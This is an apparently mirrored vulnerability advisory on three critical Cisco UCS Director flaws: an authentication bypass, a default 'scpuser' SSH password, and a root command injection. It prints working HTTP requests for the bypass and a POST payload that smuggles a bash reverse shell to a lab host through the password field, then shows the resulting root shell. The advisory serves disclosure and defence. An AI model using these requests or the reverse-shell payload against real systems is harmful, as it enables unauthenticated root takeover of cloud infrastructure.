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## https://sploitus.com/exploit?id=PACKETSTORM:154239
>> Multiple critical vulnerabilities in Cisco UCS Director, Cisco  
Integrated Management Controller Supervisor and Cisco UCS Director  
Express for Big Data  
>> Discovered by Pedro Ribeiro (pedrib@gmail.com) from Agile Information  
Security  
=================================================================================  
Disclosure: 21/08/2019 / Last updated: 22/08/2019  
  
  
>> Executive summary:  
Cisco UCS Director (UCS) is a cloud orchestration product that automates  
common private cloud infrastructure management functions. It is built  
using Java and a variety of other technologies and distributed as a  
Linux based virtual appliance. A demo of the UCS virtual appliance can  
be freely downloaded from Cisco's website [1].  
  
Due to several coding errors, it is possible for an unauthenticated  
remote attacker with no privileges to bypass authentication and abuse a  
password change function to inject arbitrary commands and execute code  
as root.  
In addition, there is a default unprivileged user with a known password  
that can login via SSH and execute commands on the virtual appliance  
provided by Cisco.  
Two Metasploit modules were released with this advisory, one that  
exploits the authentication bypass and command injection, and another  
that exploits the default SSH password.  
  
Please note that according to Cisco [2] [3] [4], all three  
vulnerabilities described in this advisory affect Cisco UCS Director,  
Cisco Integrated Management Controller Supervisor and Cisco UCS Director  
Express for Big Data. However, Agile Information Security only tested  
Cisco UCS Director.  
  
Agile Information Security would like to thank Accenture Security  
(previously iDefense) [5] for handling the disclosure process with Cisco.  
  
  
>> Vendor description [6]:  
"Cisco UCS Director delivers a foundation for private cloud  
Infrastructure as a Service (IaaS). It is a heterogeneous management  
platform that features multivendor task libraries with more than 2500  
out-of-the-box workflow tasks for end-to-end converged and  
hyperconverged stack automation.  
You can extend your capabilities to:  
- Automate provisioning, orchestration, and management of Cisco and  
third-party infrastructure resources  
- Order resources and services from an intuitive self-service portal  
- Automate security and isolation models to provide repeatable services  
- Standardize and automate multitenant environments across shared  
infrastructure instances"  
  
  
>> Technical details:  
#1  
Vulnerability: Web Interface Authentication Bypass / CWE-287  
CVE-2019-1937  
Cisco Bug ID: CSCvp19229 [2]  
Risk Classification: Critical  
Attack Vector: Remote  
Constraints: No authentication required  
Affected versions: confirmed in Cisco UCS Director versions 6.6.0 and  
6.7.0, see [2] for Cisco's list of affected versions  
  
UCS exposes a management web interface on ports 80 and 443 so that users  
of UCS can perform cloud management functions.  
Due to a number of coding errors and bad practices, it is possible for  
an unauthenticated attacker to obtain an administrative session by  
bypassing authentication.  
The following sequence of requests and responses shows the  
authentication bypass works.  
  
1.1) First we send a request to ClientServlet to check our  
authentication status:  
GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1  
Host: 10.0.3.100  
Referer: https://10.0.3.100/  
X-Requested-With: XMLHttpRequest  
  
... to which the server responds with a redirect to the login page since  
we are not authenticated:  
HTTP/1.1 302 Found  
Location: https://10.0.3.100/app/ui/login.jsp  
Content-Length: 0  
Server: Web  
  
1.2) We now follow the redirection to obtain a JSESSIONID cookie:  
GET /app/ui/login.jsp HTTP/1.1  
Host: 10.0.3.100  
Referer: https://10.0.3.100/  
X-Requested-With: XMLHttpRequest  
  
And the server responds with our cookie:  
HTTP/1.1 200 OK  
Set-Cookie:  
JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC745;  
Path=/app; Secure; HttpOnly  
Server: Web  
  
1.3) Then we repeat the request from 1.1), but this time with the  
JSESSIONID cookie obtained in 1.2):  
GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1  
Host: 10.0.3.100  
Referer: https://10.0.3.100/  
Cookie:  
JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC74;  
X-Requested-With: XMLHttpRequest  
  
... and we still get redirected to the login page, as in step 1.1):  
HTTP/1.1 302 Found  
Location: https://10.0.3.100/app/ui/login.jsp  
Content-Length: 0  
Server: Web  
  
1.4) To completely bypass authentication, we just need to send the  
JSESSIONID cookie with added X-Starship-UserSession-Key and  
X-Starship-Request-Key HTTP headers set to random values:  
GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1  
Host: 10.0.3.100  
Referer: https://10.0.3.100/  
X-Starship-UserSession-Key: ble  
X-Starship-Request-Key: bla  
Cookie:  
JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC74;  
X-Requested-With: XMLHttpRequest  
  
HTTP/1.1 200 OK  
Set-Cookie:  
JSESSIONID=971D41B487F637DA84FCAF9E97A479429D4031F465DA445168A493254AA104E3;  
Path=/app; Secure; HttpOnly  
Connection: close  
Server: Web  
Content-Length: 428  
  
{"productaccess_id":0,"loginName":"admin","productId":"cloupia_service_portal","accessLevel":null,"isEulaAccepted":false,"eulaAcceptTime":null,"eulaSrcHost":null,"restKey":"bla","allowedOperations":null,"userType":null,"server":null,"domainName":null,"suspend":false,"starshipUserId":null,"starshipUserLocale":null,"isAdminPasswordReset":true,"profileId":0,"credentialId":"","isClassicUIEnabled":false,"starshipSessionId":"ble"}  
  
... and just like that, we can see from the information the server  
returned that we are logged in as the "admin" user! From now on, we need  
to use the new JSESSIONID cookie returned by the server in 1.4) to have  
full administrative access to the UCS web interface.  
  
To summarise, our exploit needs to:  
a) obtain a JSESSIONID cookie  
b) "authenticate" it by sending a request to ClientServlet with the  
X-Starship-UserSession-Key and X-Starship-Request-Key HTTP headers set  
to random values  
c) use the new JSESSIONID cookie returned in b) as the "admin"  
authenticated cookie  
  
In some cases, the server will authenticate the old cookie and not  
return a new one, but the effect is the same - the "old" JSESSIONID  
cookie will be authenticated as an "admin" cookie.  
  
Let's dig into the decompiled code, and see what is happening under the  
hood.  
  
All the coding errors that make this possible are in the class  
com.cloupia.client.web.auth.AuthenticationFilter, which as a  
javax.servlet.Filter subclass whose doFilter() function is invoked on  
every request that the server receives (as configured by the web  
application).  
  
A snippet of com.cloupia.client.web.auth.AuthenticationFilter.doFilter()  
is shown below, with comments preceded with ^^^:  
  
public void doFilter(ServletRequest request, ServletResponse  
response, FilterChain chain) {  
(...)  
httpRequest = (HttpServletRequest)request;  
logger.debug("doFilter url: " +  
httpRequest.getRequestURL().toString());  
boolean isAuthenticated = this.authenticateUser(httpRequest);  
^^^ 1.5) invokes authenticateUser() (function shown below)  
  
String samlLogoutRequest;  
if(!isAuthenticated) {  
^^^ 1.6) if authenticateUser() returns false, we go into  
this branch  
  
samlLogoutRequest = request.getParameter("SAMLResponse");  
logger.info("samlResponse-->" + samlLogoutRequest);  
if(samlLogoutRequest != null) {  
this.handleSAMLReponse(request, response, chain,  
samlLogoutRequest);  
} else {  
^^^ 1.7) if there is no SAMLResponse HTTP parameter,  
we go into this branch  
  
HttpSession session;  
ProductAccess userBean;  
String requestedUri;  
if(this.isStarshipRequest(httpRequest)) {  
^^^ 1.8) checks if isStarshipRequest() returns  
true (function shown below)  
  
session = null !=  
httpRequest.getSession(false)?httpRequest.getSession(false):httpRequest.getSession(true);  
userBean =  
(ProductAccess)session.getAttribute("USER_IN_SESSION");  
if(userBean == null) {  
^^^ 1.9) if there is no session server side  
for this request, follow into this branch...  
  
try {  
userBean = new ProductAccess();  
userBean.setCredentialId("");  
userBean.setAdminPasswordReset(true);  
  
userBean.setProductId("cloupia_service_portal");  
userBean.setProfileId(0);  
  
userBean.setRestKey(httpRequest.getHeader("X-Starship-Request-Key"));  
  
userBean.setStarshipUserId(httpRequest.getHeader("X-Starship-UserName-Key"));  
userBean.setLoginName("admin");  
^^^ 1.10) and create a new session  
with the user as "admin"!  
  
  
userBean.setStarshipSessionId(httpRequest.getHeader("X-Starship-UserSession-Key"));  
requestedUri =  
httpRequest.getHeader("X-Starship-UserRoles-Key");  
userBean.setAccessLevel(requestedUri);  
if(requestedUri != null &&  
requestedUri.equalsIgnoreCase("admin")) {  
AuthenticationManager authmgr =  
AuthenticationManager.getInstance();  
userBean.setAccessLevel("Admin");  
  
authmgr.evaluateAllowedOperations(userBean);  
}  
  
session.setAttribute("USER_IN_SESSION",  
userBean);  
session.setAttribute("DEFAULT_URL",  
STARSHIP_DEFAULT_URL);  
logger.info("userBean:" +  
userBean.getAccessLevel());  
} catch (Exception var12) {  
logger.info("username/password wrong for  
rest api access - " + var12.getMessage());  
}  
  
logger.info("userBean: " +  
userBean.getAccessLevel());  
}  
  
chain.doFilter(request, response);  
(...)  
}  
  
As it can be read in the inline comments in the function above, our  
first hurdle at 1.5) is to make authenticateUser() return false:  
  
private boolean authenticateUser(HttpServletRequest request) {  
boolean isValidUser = false;  
HttpSession session = null;  
session = request.getSession(false);  
^^^ 1.11) get the session for this request  
  
if(session != null) {  
ProductAccess user =  
(ProductAccess)session.getAttribute("USER_IN_SESSION");  
if(user != null) {  
isValidUser = true;  
if(this.isStarshipRequest(request) &&  
!user.isStarshipAccess(request.getHeader("X-Starship-UserSession-Key"))) {  
isValidUser = false;  
} else {  
logger.debug("AuthenticationFilter:authenticateUser  
- User " + user.getLoginName() + " has been previously authenticated");  
}  
}  
} else {  
logger.info("AuthenticationFilter:authenticateUser - session  
is null");  
^^^ 1.12) no session found, return isValidUser which is  
false as set at the start of the function  
  
}  
  
return isValidUser;  
}  
  
This is easily done, and it works as expected - we do not have a  
session, so at 1.11) the session is null, and then we go into 1.12)  
which makes the function return false.  
  
We now go back to the doFilter() function, and go into the branch in  
1.6). As we have not sent a SAMLResponse HTTP parameter, we follow into  
the 1.7) branch.  
Now we get to the critical part in 1.8). Here, isStarshipRequest() is  
invoked, and if it returns true, the server will create an "admin"  
session for us...  
  
private boolean isStarshipRequest(HttpServletRequest httpRequest) {  
return null !=  
httpRequest.getHeader("X-Starship-UserSession-Key") && null !=  
httpRequest.getHeader("X-Starship-Request-Key");  
}  
  
isStarshipRequest() is shown above, and clearly the only thing we need  
to do to make it return true is to set the X-Starship-UserSession-Key  
and X-Starship-Request-Key HTTP headers.  
  
We then follow into 1.9) and 1.10), and we get our administrative  
session without having any credentials at all!  
Moreover, the session is completely stealthy and invisible to other  
users, as it does not appear in Administration -> Users and Groups ->  
All Users Login History nor in Administration -> Users and Groups ->  
Current Online Users.  
  
  
#2  
Vulnerability: Default password for 'scpuser' / CWE-798  
CVE-2019-1935  
Cisco Bug ID: CSCvp19251 [3]  
Risk Classification: Critical  
Attack Vector: Remote  
Constraints: requires auth, does not, etc  
Affected versions: confirmed in Cisco UCS Director versions 6.6.0 and  
6.7.0, see [3] for Cisco's list of affected versions  
  
The UCS virtual appliance is configured with a user 'scpuser' that is  
supposed to be used for scp file transfer between UCS appliances and  
other Cisco modules.  
  
According to Cisco's documentation [7]:  
"An SCP user is used by server diagnostics and tech support upload  
operations for transferring files to the Cisco IMC Supervisor appliance  
using the SCP protocol. An scp user account cannot be used to login to  
the Cisco IMC Supervisor UI or the shelladmin."  
  
The web interface contains functionality to change the user password for  
the 'scpuser' in Administration -> Users and Groups -> SCP User  
Configuration, and in this page it says:  
"The 'scpuser' will be configured on this appliance in order to enable  
file transfer operations via the 'scp' command. This user account cannot  
be used to login to the GUI or shelladmin"  
  
Apparently this is not true and not only the user can log in via SSH per  
default, but it does so with a default password of 'scpuser' if it not  
changed by the administrator after installation:  
UCS > ssh scpuser@10.0.3.100  
Password: <scpuser>  
[scpuser@localhost ~]$ whoami  
scpuser  
  
  
#3  
Vulnerability: Authenticated command injection via the web interface as  
root (CWE-78)  
CVE-2019-1936  
Cisco Bug ID: CSCvp19245 [4]  
Risk Classification: Critical  
Attack Vector: Remote  
Constraints: requires authentication to the UCS web interface  
Affected versions: confirmed in Cisco UCS Director versions 6.6 and 6.7,  
see [4] for Cisco's list of affected versions  
  
As shown in #2, the web interface contains functionality to change the  
user password for the 'scpuser' in Administration -> Users and Groups ->  
SCP User Configuration.  
  
This is handled by the Java class  
com.cloupia.feature.cimc.forms.SCPUserConfigurationForm in  
doFormSubmit(), which is shown below, with my markers and comments  
preceded with ^^^:  
  
public FormResult doFormSubmit(String user, ReportContext context,  
String formId, FormFieldData[] data) throws Exception {  
logger.info((Object)"doFormSubmit invoked ");  
FormResult result = this.validateForm(context,  
this.getDefinition(), formId, data, true);  
if (result.getStatus() == 0) {  
try {  
SCPUserConfig existingConfig;  
FormFieldDataList datalist = new FormFieldDataList(data);  
String password =  
datalist.getById(FIELD_ID_PASSWORD).getValue();  
^^^ 3.1) gets "password" from the form sent by  
the user  
SCPUserConfig newSCPUserConfig = new SCPUserConfig();  
newSCPUserConfig.setPassword(password);  
if ("**********".equals(password) && (existingConfig =  
CIMCPersistenceUtil.getSCPUserConfig()) != null) {  
  
newSCPUserConfig.setPassword(existingConfig.getPassword());  
}  
CIMCPersistenceUtil.setSCPUserConfig(newSCPUserConfig);  
Process p = Runtime.getRuntime().exec(new  
String[]{"/bin/sh", "-c", "echo -e \"" + password + "\\n" + password +  
"\" | (passwd --stdin " + "scpuser" + ")"});  
^^^ 3.2) runs /bin/sh with "password" argument  
p.waitFor();  
datalist.getById(FIELD_ID_PASSWORD).setValue("**********");  
result.setStatus(2);  
  
result.setStatusMessage(RBUtil.getString((String)"CIMCControllerFeature.form.scpuser.success.label"));  
return result;  
}  
catch (Exception ex) {  
result.setStatusMessage(ex.getMessage());  
result.setStatus(1);  
return result;  
}  
}  
return result;  
}  
}  
  
In 3.1) we see that the function gets the "password" field from the from  
sent by the user, and in 3.2) it passes this input directly to  
Runtime.getRuntime().exec(), which leads to a clear command injection.  
This is run as root, as the web server runs as root and superuser access  
would be necessary anyway to change a password of another user.  
  
To obtain a reverse shell, we can send the following payload to  
ClientServlet, which will then invoke the  
SCPUserConfigurationForm.doFormSubmit():  
POST /app/ui/ClientServlet HTTP/1.1  
Host: 10.0.3.100  
Referer: https://10.0.3.100/app/ux/index.html  
X-Requested-With: XMLHttpRequest  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Content-Length: 945  
Cookie:  
JSESSIONID=C72361B8C66F8FDF871F94C1FC1E07974E9B5B9E1C953D713E4DC305CB2D4CD1  
  
formatType=json&apiName=ExecuteGenericOp&serviceName=InfraMgr&opName=doFormSubmit&opData=%7B%22param0%22%3A%22admin%22%2C%22param1%22%3A%7B%22ids%22%3Anull%2C%22targetCuicId%22%3Anull%2C%22uiMenuTag%22%3A23%2C%22cloudName%22%3Anull%2C%22filterId%22%3Anull%2C%22id%22%3Anull%2C%22type%22%3A10%7D%2C%22param2%22%3A%22scpUserConfig%22%2C%22param3%22%3A%5B%7B%22fieldId%22%3A%22FIELD_ID_USERNAME%22%2C%22value%22%3A%22scpuser%22%7D%2C%7B%22fieldId%22%3A%22FIELD_ID_DESCRIPTION%22%2C%22value%22%3A%22The%20'scpuser'%20will%20be%20configured%20on%20this%20appliance%20in%20order%20to%20enable%20file%20transfer%20operations%20via%20the%20'scp'%20command.%20This%20user%20account%20cannot%20be%20used%20to%20login%20to%20the%20GUI%20or%20shelladmin.%22%7D%2C%7B%22fieldId%22%3A%22FIELD_ID_PASSWORD%22%2C%22value%22%3A%22%60%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%33%2e%39%2f%34%34%34%34%20%30%3e%26%31%60%22%7D%5D%7D  
  
In the example above, the FIELD_ID_PASSWORD is set to "`bash -i >&  
/dev/tcp/10.0.3.9/4444 0>&1`", which returns a reverse shell to host  
10.0.3.9 on port 4444 running as root:  
  
UCS > nc -lvkp 4444  
Listening on [0.0.0.0] (family 0, port 4444)  
Connection from 10.0.3.100 55432 received!  
bash: no job control in this shell  
[root@localhost inframgr]# whoami  
root  
  
  
>> Exploitation summary:  
By chaining vulnerability #1 (authentication bypass) with vulnerability  
#3 (authenticated command injection as root), it is clear that an  
unauthenticated attacker with no privileges on the system can execute  
code as root, leading to total compromise of Cisco UCS Director.  
  
  
>> Vulnerability Fixes / Mitigation:  
According to Cisco [2] [3] [4] the three vulnerabilities described in  
this advisory were fixed in the product versions described below:  
Cisco IMC Supervisor releases 2.2.1.0 and later  
Cisco UCS Director releases 6.7.2.0 and later (recommended: 6.7.3.0)  
Cisco UCS Director Express for Big Data releases 3.7.2.0 and later  
(recommended: 3.7.3.0)  
  
  
>> References:  
[1]  
https://www.cisco.com/c/en/us/support/servers-unified-computing/ucs-director-evaluation/model.html  
[2]  
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby  
[3]  
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred  
[4]  
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj  
[5] https://www.accenture.com/us-en/service-idefense-security-intelligence  
[6]  
https://www.cisco.com/c/en/us/products/servers-unified-computing/ucs-director/index.html  
[7]  
https://www.cisco.com/c/en/us/td/docs/unified_computing/ucs/ucs-director/rack-server-guide/6-7/cisco-ucs-director-rack-server-mgmt-guide-67/cisco-ucs-director-rack-server-mgmt-guide-67_chapter_01011.html#task_1599289A49FB49D48486A66A8358A2AD  
  
  
>> Disclaimer:  
Please note that Agile Information Security (Agile InfoSec) relies on  
information provided by the vendor when listing fixed versions or  
products. Agile InfoSec does not verify this information, except when  
specifically mentioned in this advisory or when requested or contracted  
by the vendor to do so.  
Unconfirmed vendor fixes might be ineffective or incomplete, and it is  
the vendor's responsibility to ensure the vulnerabilities found by Agile  
Information Security are resolved properly.  
Agile Information Security Limited does not accept any responsibility,  
financial or otherwise, from any material losses, loss of life or  
reputational loss as a result of misuse of the information or code  
contained or mentioned in this advisory.  
It is the vendor's responsibility to ensure their products' security  
before, during and after release to market.  
  
All information, code and binary data in this advisory is released to  
the public under the GNU General Public License, version 3 (GPLv3).  
For information, code or binary data obtained from other sources that  
has a license which is incompatible with GPLv3, the original license  
prevails.  
For more information check https://www.gnu.org/licenses/gpl-3.0.en.html  
  
================  
Agile Information Security Limited  
http://www.agileinfosec.co.uk/  
>> Enabling secure digital business.  
--   
Pedro Ribeiro  
Vulnerability and Reverse Engineer / Cyber Security Specialist  
  
pedrib@gmail.com  
PGP: 4CE8 5A3D 133D 78BB BC03 671C 3C39 4966 870E 966C